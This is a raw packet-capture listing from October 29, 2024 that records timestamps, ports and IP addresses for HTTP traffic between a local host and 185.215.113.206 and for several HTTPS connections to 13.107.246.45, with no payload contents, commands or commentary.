Oct 29, 2024 17:59:52.686667919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.686676025 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686692953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.686723948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.793725014 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.794195890 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.794219017 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.794661045 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.794667006 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.801431894 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801469088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801484108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801492929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801517010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801525116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801542997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801558971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801582098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801595926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801598072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801614046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801624060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801637888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801646948 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801655054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801668882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801680088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801686049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801709890 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801709890 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801748037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801774979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801789999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801805973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801821947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801829100 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801842928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.801843882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801865101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.801887989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802160025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802194118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802206993 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802222967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802273989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802289009 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802289009 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802305937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802309990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802330971 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802335978 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802340031 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802351952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802366972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802381992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802388906 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802397013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802412987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802417040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802428007 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802463055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802716970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802731991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802747965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802767992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802769899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802783966 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802792072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802797079 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802813053 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802813053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802828074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802829981 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802850962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802855015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802861929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802872896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802890062 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802891970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802896976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802908897 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802913904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802930117 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802937984 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802947044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802963972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802964926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802983999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.802989960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.802999020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803014040 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803014994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803030968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803034067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803039074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803050995 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803061962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803066969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803088903 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803107023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803673029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803687096 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803731918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803807974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803822994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803838968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803858995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803863049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803872108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803879976 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803894997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803906918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803920031 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803925991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803936958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803941011 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803952932 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803961039 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803968906 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.803978920 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803986073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.803987026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804003954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804008961 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804018974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804034948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804044962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804044962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804058075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804065943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804074049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804080963 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804095984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804099083 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804115057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804119110 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804131985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804143906 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804147959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804164886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804181099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804182053 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804189920 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804194927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804210901 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804219007 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804229021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804244995 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804245949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804267883 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804292917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804311037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804326057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804347992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804358959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804361105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804374933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804394960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804409027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804425955 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804426908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804440975 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804455996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804465055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804465055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804475069 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804487944 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804496050 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804503918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804523945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804528952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804543972 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804544926 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804568052 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804569006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804583073 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804585934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804599047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804621935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804631948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804641962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804646969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804662943 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804671049 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804682970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804696083 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804697037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804706097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804713011 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804725885 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804729939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804739952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804754019 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804775000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804783106 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804799080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804815054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804816008 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804830074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804836988 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804847002 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804852962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804867983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804869890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804877043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804887056 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804902077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804908991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804919004 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804925919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804934978 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.804935932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804955006 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.804966927 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805032969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805047989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805063009 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805077076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805077076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805088043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805094957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805105925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805109978 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805120945 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805126905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805136919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805160999 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805175066 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805187941 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805191040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805207968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805224895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805231094 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805241108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805246115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805258989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805274010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805278063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805288076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805290937 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805309057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805318117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805326939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805350065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805373907 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805377960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805419922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.805466890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.805510998 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.813715935 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.814151049 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.814198017 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.814551115 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.814558029 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.835860968 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.836179018 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.836193085 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.836577892 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.836582899 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.837841988 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.838474989 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.838474989 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.838491917 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.838506937 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.870490074 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.871279001 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.871279001 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:52.871318102 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.871329069 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:52.927603006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927623034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927639008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927659988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927666903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927673101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927678108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927692890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927690983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927690983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927720070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927735090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927743912 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927752018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927767038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927783012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927783012 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927783012 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927802086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927807093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927807093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927819014 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927834988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927848101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927848101 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927851915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927864075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927877903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927885056 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927894115 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927900076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927911997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927927971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927943945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927948952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927948952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927948952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927961111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927967072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927977085 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.927989960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.927993059 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928010941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928014994 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928028107 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928036928 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928037882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928044081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928050995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928061008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928065062 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928083897 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928087950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928105116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928111076 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928122044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928126097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928143978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928147078 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928163052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928169012 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928185940 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928186893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928203106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928212881 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928220034 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928222895 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928235054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928252935 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:52.928256989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:52.928256989 CET	49958	80	192.168.2.6	185.215.113.206
